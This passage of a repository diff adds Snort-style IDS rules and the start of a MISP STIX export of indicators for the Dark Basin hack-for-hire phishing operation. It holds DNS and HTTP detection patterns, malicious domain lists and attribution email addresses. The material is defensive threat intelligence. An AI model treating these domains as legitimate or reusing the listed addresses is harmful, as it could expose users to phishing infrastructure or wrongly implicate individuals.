content:"|12|webserverdomainusa|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355582; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserverdomainusa.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserverdomainusa.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserverdomainusa\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355583; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserverhollandservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|17|webserverhollandservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354771; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserverhollandservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|17|webserverhollandservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354772; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserverhollandservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserverhollandservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserverhollandservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354773; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserveroginusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|webserveroginusa|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355541; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserveroginusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|webserveroginusa|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355542; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserveroginusa.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserveroginusa.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserveroginusa\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355543; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserveronline9.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|webserveronline9|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354221; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserveronline9.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|webserveronline9|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354222; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserveronline9.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserveronline9.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserveronline9\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354223; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: webserverredirect99.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|webserverredirect99|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354281; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: webserverredirect99.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|webserverredirect99|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354282; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: webserverredirect99.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"webserverredirect99.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])webserverredirect99\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354283; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: websiteadminuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|websiteadminuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357701; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: websiteadminuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|websiteadminuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357702; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: websiteadminuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"websiteadminuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])websiteadminuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357703; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: websitemanagerusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|websitemanagerusa|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357681; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: websitemanagerusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|websitemanagerusa|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357682; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: websitemanagerusa.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"websitemanagerusa.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])websitemanagerusa\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357683; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: websociofiles.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|websociofiles|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354071; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: websociofiles.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|websociofiles|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354072; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: websociofiles.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"websociofiles.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])websociofiles\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354073; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: xpertdomain.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|xpertdomain|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357291; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: xpertdomain.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|xpertdomain|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357292; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: xpertdomain.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"xpertdomain.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])xpertdomain\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357293; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: xpertmaildomain.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|xpertmaildomain|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356451; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: xpertmaildomain.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|xpertmaildomain|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356452; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: xpertmaildomain.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"xpertmaildomain.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])xpertmaildomain\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356453; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: youranotherserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|youranotherserver|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356581; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: youranotherserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|youranotherserver|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356582; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: youranotherserver.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"youranotherserver.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])youranotherserver\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356583; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: zsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|zsrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357361; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: zsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|zsrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357362; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: zsrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"zsrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])zsrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357363; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +# diff --git a/data/ioc/spyware/citizen_lab/202006_DarkBasin/stix.xml b/data/ioc/spyware/citizen_lab/202006_DarkBasin/stix.xml new file mode 100644 index 0000000..dff5a36 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/202006_DarkBasin/stix.xml @@ -0,0 +1,10166 @@ + + + Export from MISP + Threat Report + + + + + + Dark Basin (MISP Event #147) + Threat Report + + + + Dark Basin + 147 + + 2020-06-08T00:00:00+00:00 + 2020-06-08T15:58:17+00:00 + + New + + + Attribution + + Attribution: amanda.lovers@mail.com (MISP Attribute #19050) + Malware Artifacts + Attribution: amanda.lovers@mail.com (MISP Attribute #19050) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: amanda.kruetner@mail.com (MISP Attribute #19051) + Malware Artifacts + Attribution: amanda.kruetner@mail.com (MISP Attribute #19051) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: anurag.breja342@mail.com (MISP Attribute #19052) + Malware Artifacts + Attribution: anurag.breja342@mail.com (MISP Attribute #19052) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: jacktanne@outlook.com (MISP Attribute #19053) + Malware Artifacts + Attribution: jacktanne@outlook.com (MISP Attribute #19053) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: flaviatales@mail.com (MISP Attribute #19054) + Malware Artifacts + Attribution: flaviatales@mail.com (MISP Attribute #19054) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: robert.klein@europe.com (MISP Attribute #19055) + Malware Artifacts + Attribution: robert.klein@europe.com (MISP Attribute #19055) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailauthservice.com (MISP Attribute #18688) + Malware Artifacts + Domain Watchlist + Network activity: emailauthservice.com (MISP Attribute #18688) + + + + + emailauthservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: chromeperfection.com (MISP Attribute #18944) + Malware Artifacts + Domain Watchlist + Network activity: chromeperfection.com (MISP Attribute #18944) + + + + + chromeperfection.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailmappingservice.com (MISP Attribute #18689) + Malware Artifacts + Domain Watchlist + Network activity: emailmappingservice.com (MISP Attribute #18689) + + + + + emailmappingservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: trustedserviceonline.com (MISP Attribute #18945) + Malware Artifacts + Domain Watchlist + Network activity: trustedserviceonline.com (MISP Attribute #18945) + + + + + trustedserviceonline.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailservername299.com (MISP Attribute #18690) + Malware Artifacts + Domain Watchlist + Network activity: emailservername299.com (MISP Attribute #18690) + + + + + emailservername299.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: browserdirectservice.com (MISP Attribute #18946) + Malware Artifacts + Domain Watchlist + Network activity: browserdirectservice.com (MISP Attribute #18946) + + + + + browserdirectservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailvalidateservice.com (MISP Attribute #18691) + Malware Artifacts + Domain Watchlist + Network activity: emailvalidateservice.com (MISP Attribute #18691) + + + + + emailvalidateservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: browserredirect.com (MISP Attribute #18947) + Malware Artifacts + Domain Watchlist + Network activity: browserredirect.com (MISP Attribute #18947) + + + + + browserredirect.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostemailserver.com (MISP Attribute #18692) + Malware Artifacts + Domain Watchlist + Network activity: hostemailserver.com (MISP Attribute #18692) + + + + + hostemailserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: optionalblogging.com (MISP Attribute #18948) + Malware Artifacts + Domain Watchlist + Network activity: optionalblogging.com (MISP Attribute #18948) + + + + + optionalblogging.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailauthenticatorservice.com (MISP Attribute #18693) + Malware Artifacts + Domain Watchlist + Network activity: mailauthenticatorservice.com (MISP Attribute #18693) + + + + + mailauthenticatorservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: selectedmaxstores.com (MISP Attribute #18949) + Malware Artifacts + Domain Watchlist + Network activity: selectedmaxstores.com (MISP Attribute #18949) + + + + + selectedmaxstores.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailauthservice399.com (MISP Attribute #18694) + Malware Artifacts + Domain Watchlist + Network activity: mailauthservice399.com (MISP Attribute #18694) + + + + + mailauthservice399.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: auditionregistrationonline.com (MISP Attribute #18950) + Malware Artifacts + Domain Watchlist + Network activity: auditionregistrationonline.com (MISP Attribute #18950) + + + + + auditionregistrationonline.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailcollectorservice.com (MISP Attribute #18695) + Malware Artifacts + Domain Watchlist + Network activity: mailcollectorservice.com (MISP Attribute #18695) + + + + + mailcollectorservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: homeforallorphans.com (MISP Attribute #18951) + Malware Artifacts + Domain Watchlist + Network activity: homeforallorphans.com (MISP Attribute #18951) + + + + + homeforallorphans.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserverenterprise.com (MISP Attribute #18696) + Malware Artifacts + Domain Watchlist + Network activity: mailserverenterprise.com (MISP Attribute #18696) + + + + + mailserverenterprise.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: knowledgebaseonlineuk.com (MISP Attribute #18952) + Malware Artifacts + Domain Watchlist + Network activity: knowledgebaseonlineuk.com (MISP Attribute #18952) + + + + + knowledgebaseonlineuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailservershare.com (MISP Attribute #18697) + Malware Artifacts + Domain Watchlist + Network activity: mailservershare.com (MISP Attribute #18697) + + + + + mailservershare.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: promotespritialbelief.com (MISP Attribute #18953) + Malware Artifacts + Domain Watchlist + Network activity: promotespritialbelief.com (MISP Attribute #18953) + + + + + promotespritialbelief.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: networkshareserver.com (MISP Attribute #18698) + Malware Artifacts + Domain Watchlist + Network activity: networkshareserver.com (MISP Attribute #18698) + + + + + networkshareserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: getreadytorunhalfmarathon.com (MISP Attribute #18954) + Malware Artifacts + Domain Watchlist + Network activity: getreadytorunhalfmarathon.com (MISP Attribute #18954) + + + + + getreadytorunhalfmarathon.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainserver399.com (MISP Attribute #18699) + Malware Artifacts + Domain Watchlist + Network activity: domainserver399.com (MISP Attribute #18699) + + + + + domainserver399.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: getsetgoforhealth.com (MISP Attribute #18955) + Malware Artifacts + Domain Watchlist + Network activity: getsetgoforhealth.com (MISP Attribute #18955) + + + + + getsetgoforhealth.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostsecuremail544.com (MISP Attribute #18700) + Malware Artifacts + Domain Watchlist + Network activity: hostsecuremail544.com (MISP Attribute #18700) + + + + + hostsecuremail544.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linuxserverfast.com (MISP Attribute #18956) + Malware Artifacts + Domain Watchlist + Network activity: linuxserverfast.com (MISP Attribute #18956) + + + + + linuxserverfast.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shrtnerlnk.com (MISP Attribute #18701) + Malware Artifacts + Domain Watchlist + Network activity: shrtnerlnk.com (MISP Attribute #18701) + + + + + shrtnerlnk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tinyurlshortner.com (MISP Attribute #18957) + Malware Artifacts + Domain Watchlist + Network activity: tinyurlshortner.com (MISP Attribute #18957) + + + + + tinyurlshortner.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailingserver938.com (MISP Attribute #18702) + Malware Artifacts + Domain Watchlist + Network activity: mailingserver938.com (MISP Attribute #18702) + + + + + mailingserver938.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: msgrdrg.com (MISP Attribute #18958) + Malware Artifacts + Domain Watchlist + Network activity: msgrdrg.com (MISP Attribute #18958) + + + + + msgrdrg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailserver499.com (MISP Attribute #18703) + Malware Artifacts + Domain Watchlist + Network activity: emailserver499.com (MISP Attribute #18703) + + + + + emailserver499.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dnsserverprv.com (MISP Attribute #18959) + Malware Artifacts + Domain Watchlist + Network activity: dnsserverprv.com (MISP Attribute #18959) + + + + + dnsserverprv.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserverru2099.com (MISP Attribute #18704) + Malware Artifacts + Domain Watchlist + Network activity: mailserverru2099.com (MISP Attribute #18704) + + + + + mailserverru2099.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: economyservicesil.com (MISP Attribute #18960) + Malware Artifacts + Domain Watchlist + Network activity: economyservicesil.com (MISP Attribute #18960) + + + + + economyservicesil.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: netsecureserver399.com (MISP Attribute #18705) + Malware Artifacts + Domain Watchlist + Network activity: netsecureserver399.com (MISP Attribute #18705) + + + + + netsecureserver399.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: portfoliofasinating.com (MISP Attribute #18961) + Malware Artifacts + Domain Watchlist + Network activity: portfoliofasinating.com (MISP Attribute #18961) + + + + + portfoliofasinating.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: lnkshrtnr.com (MISP Attribute #18706) + Malware Artifacts + Domain Watchlist + Network activity: lnkshrtnr.com (MISP Attribute #18706) + + + + + lnkshrtnr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: selectiveservicemax.com (MISP Attribute #18962) + Malware Artifacts + Domain Watchlist + Network activity: selectiveservicemax.com (MISP Attribute #18962) + + + + + selectiveservicemax.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailsecurenode.com (MISP Attribute #18707) + Malware Artifacts + Domain Watchlist + Network activity: emailsecurenode.com (MISP Attribute #18707) + + + + + emailsecurenode.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: maxlaboratories.com (MISP Attribute #18963) + Malware Artifacts + Domain Watchlist + Network activity: maxlaboratories.com (MISP Attribute #18963) + + + + + maxlaboratories.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostemailsecureserver.com (MISP Attribute #18708) + Malware Artifacts + Domain Watchlist + Network activity: hostemailsecureserver.com (MISP Attribute #18708) + + + + + hostemailsecureserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostfeasta.com (MISP Attribute #18964) + Malware Artifacts + Domain Watchlist + Network activity: hostfeasta.com (MISP Attribute #18964) + + + + + hostfeasta.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailmarknotes.com (MISP Attribute #18709) + Malware Artifacts + Domain Watchlist + Network activity: mailmarknotes.com (MISP Attribute #18709) + + + + + mailmarknotes.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: readmytipsntricks.com (MISP Attribute #18965) + Malware Artifacts + Domain Watchlist + Network activity: readmytipsntricks.com (MISP Attribute #18965) + + + + + readmytipsntricks.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailhostsecurehk.com (MISP Attribute #18710) + Malware Artifacts + Domain Watchlist + Network activity: emailhostsecurehk.com (MISP Attribute #18710) + + + + + emailhostsecurehk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 